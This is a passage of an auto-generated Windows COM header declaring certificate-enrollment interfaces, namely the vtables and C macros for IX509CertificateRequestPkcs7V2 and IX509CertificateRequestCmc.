__RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckCertificateSignature )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL ValidateCertificateChain);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs7V2Vtbl;\n\n    interface IX509CertificateRequestPkcs7V2\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs7V2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs7V2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs7V2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs7V2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs7V2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs7V2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs7V2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs7V2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs7V2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs7V2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs7V2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs7V2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs7V2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs7V2_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs7V2_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestPkcs7V2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs7V2_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestPkcs7V2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs7V2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestPkcs7V2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#define IX509CertificateRequestPkcs7V2_CheckCertificateSignature(This,ValidateCertificateChain)\t\\\n    ( (This)->lpVtbl -> CheckCertificateSignature(This,ValidateCertificateChain) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs7V2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCmc_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCmc */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCmc;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab345-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCmc : public IX509CertificateRequestPkcs7\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromInnerRequestTemplateName( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CryptAttributes( \n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NameValuePairs( \n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CriticalExtensions( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SuppressOids( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TransactionId( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_TransactionId( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SenderNonce( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SenderNonce( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ArchivePrivateKey( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ArchivePrivateKey( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeyArchivalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeyArchivalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_EncryptionAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionStrength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_EncryptionStrength( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptedKeyHash( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificates( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificates **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCmcVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCmc * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequestTemplateName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyHash )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificates )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificates **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCmcVtbl;\n\n    interface IX509CertificateRequestCmc\n    {\n        CONST_VTBL struct IX509CertificateRequestCmcVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCmc_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCmc_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCmc_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) 